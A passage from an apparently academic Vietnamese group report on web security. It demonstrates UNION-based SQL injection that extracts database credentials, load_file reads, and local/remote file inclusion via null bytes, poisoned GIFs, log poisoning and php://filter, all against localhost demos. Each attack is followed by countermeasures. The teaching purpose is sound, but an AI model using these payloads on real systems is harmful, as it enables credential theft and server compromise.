t+all+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
Kết quả của url trên sẽ trả về kết quả từ 1 đến 18 tương ứng với các cột trong
CSDL Ta thấy trên trình duyệt xuất hiện những số nào thì đó chính là những cột mà
php in ra trình duyệt. Mục đích là để ta sẽ lấy các thông tin và kết quả đạt vào vị trí
An ninh hệ thống mạng máy tính
Nhóm 19 - CHCNTT K25B HVKTQS
19
thích hợp trong union. Ở ví dụ này có các cột là 2, 3, 5, 16, 17 được in ra trình duyệt.
Ta tiếp tục như sau:
http://localhost/demo/sqli/getdata/detail.php?idpro=39+AND+1=0+union+selec
t+all+1,concat(@@version,0x3a,user(),0x3a,database()),3,4,5,6,7,8,9,10,11,12,13,14,
15,16,17,18
Kết quả có được là 5.5.8-log:root@localhost:shopping
Vậy version của mysql là 5.5.8-log và user kết nối đến mysql là root, tên
database là shopping.
Giờ ta đã có tên database, ta truy vấn vào bảng information_schema để lấy
thông tin về tên các bảng và các cột trong database.
http://localhost/demo/sqli/getdata/detail.php?idpro=39+AND+1=0+union+selec
t+all+1,TABLE_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+information_
schema.tables+where+table_schema=’shopping’
Ta có thể thay shopping bằng mã char của nó là: CHAR(115, 104, 111, 112,
112, 105, 110, 103).
Ta sẽ có tên của bảng thứ nhất trong databse, ta tiếp tục thêm vào limit 1,1 – 2,1
đến khi không còn thông tin được in ra trình duyệt nữa, các thông tin ta đã có được
chính là tên các bảng trong database. Chọn lấy 1 bảng mà ta quan tâm, ví dụ ta chọn
được 1 bảng là tbl_dangnhap, ta sẽ xem tên các cột trong bảng này bằng cách sau:
http://localhost/demo/sqli/getdata/detail.php?idpro=39+AND+1=0+union+selec
t+all+1,COLUMN_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+informatio
n_schema.columns+where+table_name=’tbl_dangnhap’+limit+0,1
Tăng dần limit lên 1,1-2,1 … cho đến khi lấy được hết tên các cột trong bảng
tbl_dangnhap. Ta thu được 2 cột như sau: username và pass
Giờ sẽ là bước lấy thông tin của 2 cột username và pass trong bảng
tbl_dangnhap:
http://localhost/demo/sqli/getdata/detail.php?idpro=39+AND+1=0+union+selec
t+all+1,concat(username,0x3a,pass),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+tb
l_dangnhap+limit+0,1
Ta thu được thông tin từ dòng đầu tiên trong bảng tbl_dangnhap:
ACEAnGeL:5dcc21446e7ba2062773a69b48e84bdd Tương ứng là username: ACEAnGeL
và pass: 5dcc21446e7ba2062773a69b48e84bdd là password đã được mã hóa.
Tuơng tự như vậy ta có thể lấy thông tin từ bất kì bảng nào trong database
shopping mà ta quan tâm.
An ninh hệ thống mạng máy tính
Nhóm 19 - CHCNTT K25B HVKTQS
20
c. Sử dụng Load_file
Mysql có 1 số hàm để xử lý file như Load_file, Load data infile, … Ta sẽ tìm
hiểu cách dùng hàm load_file để tấn công ứng dụng thông qua lỗi SQL Injection.
Hàm Load_file dùng để đọc nội dung 1 file. Điều kiện để sử dụng hàm
Load_file đó là file muốn load phải tồn tại, đường dẫn đến file phải là đường dẫn đầy
đủ, user gọi hàm load_file phải có quyền đọc file cần load.
Ví dụ:
http://localhost/doantotnghiep/demo/sqli/getdata/detail.php?idpro=39+AND+1=
0+union+select+all+1,2,load_file%28%22C:/wamp/www/doantotnghiep/demo/sqli/get
data/test.txt%22%29,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
Với URL trên ta đã có thể đọc được nội dung của file test.txt, nếu có thể lần ra
đường dẫn của các file quan trọng như config.php hay những file chứa thông tin nhạy cảm.
3.3. Cách phòng chống
Trong hầu hết trình duyệt, những ký tự nên được mã hóa trên URL trước khi
được sử dụng.
Nên cân nhắc trong việc có cho phép thực thi đa quy vấn đến CSDL hay
không, bởi vì nếu thực thi đa truy vấn thì nguy hại không chỉ là bị mất thông tin trong
CSDL mà hacker còn có thể tiến hành update, insert, addnew thậm chí là drop nếu tài
khoản kết nối là tài khoản root.
Việc tấn công SQL Injection bằng cách dựa vào những thông báo lỗi do đó
việc phòng chống hay nhất vẫn là không hiển thị những thông báo lỗi đó bằng cách
thay thế các trang báo lỗi bằng 1 trang do người phát triển tự thiết kế hoặc tắt việc hiển
thị thông báo lỗi
Kiểm tra kỹ giá trị nhập vào của người dùng, thay thế những ký tự như ‘ ; # …
Loại bỏ các kỹ tự meta như “ ‘, “, / , \ , ; “ và các kỹ tự extend như NULL,
CR, LF,… trong các string nhận được từ: dữ liệu người dùng nhập vào, tham số URL,
các giá trị cookie,
Chuyển các giá trị số về kiểu integer trước khi thực hiện truy vấn CSDL hoặc
dùng các hàm kiểm tra để chắc chắn nó là một số.
Dùng các thuật toán để mã hóa dữ liệu như dùng hàm addslashes() hoặc
mysql_real_escape_string để đưa chuỗi truy vấn về dạng cú pháp đúng của sql.
Đối với cách tấn công dùng hàm load_file, ta cần bỏ chế độ FILE privilege
của user và bỏ quyền đọc file đối với nhóm group và world.
4. File include
4.1. Khái niệm file include
An ninh hệ thống mạng máy tính
Nhóm 19 - CHCNTT K25B HVKTQS
21
Khi người lập trình 1 website sử dụng các lệnh xử lý file như include, require,
readfile,… với tham số truyền vào là biến động nhưng không được kiểm soát chặt chẽ
để hacker có thể thay đổi file cần gọi đến không như mong muốn của người lập trình
thì website đang đứng trước nguy cơ bị tấn công file inclusion (file include).
Dựa vào mức độ bảo mật của webserver, hacker có thể gọi đến file trên server
hay được gọi là Local file inclusion (LFI) hoặc gọi đến 1 file trên server khác hay
được gọi là Remote file inclusion (RFI).
Và điều kiện rất quan trọng là các hàm register_globals, allow_url_include,
allow_url_fopen phải được set giá trị ON trên webserver.
Khi register_globals được set là ON thì các biến được truyền từ url được xem
như là biến toàn cục.
Những hàm của ngôn ngữ lập trình PHP có khả năng gây lỗi này là: include(),
include_once(), require(), require_once(), fopen(), readfile(), …
4.2. Các cách tấn công
Ta xét code 1 trang như sau:
<?php
if(isset($_GET['page'])){
$page = $_GET['page'];
include($page);
}
?>
Nếu tồn tại biến page được truyền trên url theo phương thức get thì sẽ thực hiện
include file $page.
a. Remote Include
Nếu webserver được cấu hình allow_url_open=On và allow_url_include = On
thì có thể thực hiện gộp file từ xa và trong nội dung file từ xa này có thể chứa các mã
độc. Ví dụ:
http://localhost/demo/fileinclude/fileinclude.php?page= />t
b. Local Include
Nếu allow_url_open=Off thì không thể khai thác thông qua url từ xa, lúc này
khai thác sẽ dựa trên local file inclusion. Khai thác local file cho phép chúng ta đọc
các file nhạy cảm trên server, ví dụ như là /etc/passwd, /etc/group, httpd.conf,
.htaccess, .htpasswd hoặc bất kỳ file cấu hình quan trọng nào nếu chúng không được
bảo vệ.
An ninh hệ thống mạng máy tính
Nhóm 19 - CHCNTT K25B HVKTQS
22
Ví dụ:
http://localhost/demo/fileinclude/fileinclude.php?page=/etc/passwd
Ví dụ như có được thông tin từ /etc/passwd, kẻ tấn công có thể biết được các
username có trên server và thực hiện bruteforce, nếu kẻ tấn công có khả năng truy cập
shadow thì nguy hiểm hơn nhưng /etc/shadow thì chỉ có root mới có khả năng truy cập
và đọc được file này.
Ví dụ một số file nhạy cảm mà kẻ tấn công luôn muốn truy cập: httpd.conf:
Thực hiện đọc file này để có được thông tin về error_log, access_log, ServerName,
DocumentRoot, … .htaccess và .htpasswd: Giả sử có một thư mục admin được bảo
vệ bởi htaccess thì chúng ta không thể truy cập được các file .htaccess và .htpasswd
trực tiếp, nhưng nếu bị lỗi local file inclusion thì có thể đọc và có được thông tin về
username và password được thiết đặt ở trong những file này
- Khai thác cục bộ
Giả sử có nhiều website trên một server, nếu như site example1.com bị lỗi local
file inclusion. Kẻ tấn công ở vị trí là website với domain là example2.com cũng cùng
một server với example1.com thì có thể khai thác site example1.com này thông qua
như sau:
/>ex.php?page=/home/example2/public_html/mages/file.txt
- Khai thác sử dụng Null Byte
Ta cùng xét thêm 1 ví dụ nữa:
Ta có đoạn code như sau:
<?php
if(isset($_GET['page'])){
$page = $_GET['page'];
include($page.’.php’);
}
?>
Vậy với cách tấn công trên nếu ta nhập $page=file.txt thì câu lệnh include sẽ là:
include(“file.txt.php”);
Vậy để xử lý trong trường hợp này, ta sẽ sử dụng Null byte để thoát chuỗi. Ta
nhập như sau: $page=file.txt%00
Với biến page trên lệnh include trở thành : include(“file.txt%00.php”);. Php
quy định %00 là kết thúc chuỗi nên nó sẽ bỏ qua đuôi .php và lệnh include được thực
thi như bình thường.
An ninh hệ thống mạng máy tính
Nhóm 19 - CHCNTT K25B HVKTQS
23
Muốn sử dụng được Null byte thì php phải cấu hình Magic_quote = on, nếu
magic_quote = off thì Null byte sẽ bị vô hiệu hóa.
- Khai thác kết hợp upload file ảnh
Nếu ứng dụng cho phép upload file ảnh lên hệ thống thì ta có thế kết hợp với lỗi
file include để upload và thực thi những đoạn mã độc lên hệ thống bằng cách sau:
+ Xác định loại file mà ứng dụng cho phép upload, ví dụ là file *.gif.
+ Ta tạo 1 ảnh test.gif định dạng gif sau đó mở file test.gif = notepad, thêm
đoạn mã độc vào cuối file, hoặc sử dụng 1 số công cụ để thêm mã độc vào phần
comment của ảnh(ví dụ như tool jhead) Trong ví dụ này ta thêm như sau: <?php echo
phpinfo(); ?>.
+ Sau đó upload file ảnh vừa tạo lên hệ thống.
+ Xác định đường dẫn của file vừa upload rồi và thực hiện include.
http://localhost/demo/fileinclude/fileinclude.php?page=test.gif
Đoạn mã độc trong file vừa upload lên sẽ được thực thi.
- Khai thác dựa vào file log
Khi hệ thống thông báo lỗi, chi tiết các lỗi sẽ được lưu vào error_log của
apache. Và file log này cũng có thể được gọi thông qua lỗi file include.
Nếu ta nhập biến page trên Url như sau:
http://localhost/demo/fileinclude/fileinclude.php?page=<?php echo phpinfo();?>
Trình duyệt thông báo lỗi bởi vì page <?php echo phpinfo(); ?> không tồn tại, nhưng
thông tin về lỗi này đã được lưu vào file log như sau:
127.0.0.1 - - [28/Apr/2011:20:25:51 +0700] "GET
/demo/fileinclude/fileinclude.php?page=%3C?%20echo%20phpinfo();%20?%3E
HTTP/1.1" 200 2223
Như vậy trong file log, url do ta đệ trình đã bị mã hóa, vậy để file log lưu lại lệnh php
nguyên gốc, ta cần gửi request đến server bằng đoạn code sau:
<?php
$res = '';
$fp = fsockopen('127.0.0.1', 80);
if(!$fp){
echo "No connection";
}
fputs($fp, "GET /demo/fileinclude/fileinclude.php?page=<?php echo
phpinfo();?> HTTP/1.1\r\n");
fputs($fp, "Host: 127.0.0.1\r\n\r\n");
An ninh hệ thống mạng máy tính
Nhóm 19 - CHCNTT K25B HVKTQS
24
while(!feof($fp)){
$res .= fgets($fp, 128);
}
echo $res;
?>
Với đoạn code trên, ta đã gửi đến server một request và file log sẽ ghi lại lỗi
nhưng không bị mã hóa do ta không đệ trình trên URL. File log sẽ lưu lại như sau:
127.0.0.1 - - [02/May/2011:09:56:56 +0700] "GET
/demo/fileinclude/fileinclude.php?page=<?php echo phpinfo();?> HTTP/1.1" 200 2185
Và giờ ta include file log, đoạn mã php sẽ được thực thi:
http://localhost/demo/fileinclude/fileinclude.php?page=C:/wamp/logs/access.log
- Khai thác sử dụng Php filter
Trong trường hợp cấu hình magic_quote = on thì null-byte bị vô hiệu hóa. Vậy
ta có 1 cách để ta có thể đọc được nội dung các file bằng cách dùng công cụ filter của
php là php://filter để đọc nội dung file sau đó mã hóa nội dung file theo dạng encoded
base64. Khi nhận được nội dung này ta decode base64 và nhận lại được nội dung gốc
của file.
Ví dụ ta nhập biến page như sau:
http://localhost/demo/fileinclude/fileinclude.php?page=php://filter/read=conv
ert.base64-encode/resource=test
Câu lệnh include trở thành: include(php://filter/read=convert.base64-
encode/resource=test.php)
Kết quả nhận được :
PD9waHANCmVjaG8gIkZpbGUgaW5jbHVkZSI7DQo/Pg==
Sau khi decode-base64 ta nhận được nội dung file gốc :
<?php
echo "File include";
?>
4.3. Cách phòng chống
Với trường hợp hacker sử dụng NULL Byte (%00 ) để thoát chuỗi nếu như biến
page được gán thêm đuôi đằng sau thì ta set magic_quote = ON nó sẽ vô hiệu hóa
NULL byte.
SET chức năng của các hàm: register_global = OFF, allow_url_fopen = OFF,
An ninh hệ thống mạng máy tính
Nhóm 19 - CHCNTT K25B HVKTQS
25
safe_mode = ON, display_error = OFF.
Đặt quyền cho các thư mục hợp lý
Lập trình an toàn, bắt lỗi chặt chẽ, tránh đưa biến vào hàm include, khi sử dụng
biến phải khai báo, sử dụng đường dẫn tuyệt đối thay vì tương đối.
5. Upload file
5.1. Khái niệm
Một số ứng dụng cho phép người dùng upload file lên hệ thống, thường là file
hình như jpg, png, gif,…. Trong quá trình xây dựng ứng dụng, người lập trình có thể
sử dụng javascript hoặc php để kiểm tra đảm bảo dữ liệu up lên hệ thống nằm trong
danh sách những loại file mà người lập trình quy định, nguy hiểm hơn nữa là người lập
trình ko hề để ý tới dạng của file thì ứng dụng đang đứng trước nguy cơ bị tấn công
bằng kỹ thuật upload file.
5.2. Các cách tấn công
Ta xét một kịch bản upload file gồm một trang upload.html và một trang
upload.php
Trang upload.html có mã nguồn như sau:
<html xmlns=”
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=utf-8”/>
<title>Demo hack upload file</title>
</head>
<body>
<form name=”upload” action=”upload.php” method=”POST”
ENCTYPE=”multipart/form-data” onSubmit=”return chkFileExtension()”>
Select the file to upload: <input type=”file” name=”userfile”>
<input type=”submit” name=”upload” value=”upload”>
</form>
</body>
</html>
Và trang xử lý upload là upload.php có mã nguồn như sau:
<?php
$uploaddir = ‘uploads/’;
$uploadfile = $uploaddir . basename($_FILES[‘userfile’][‘name’]);
if (move_uploaded_file($_FILES[‘userfile’][‘tmp_name’], $uploadfile)) {
echo “File was successfully uploaded.\n”;
} else {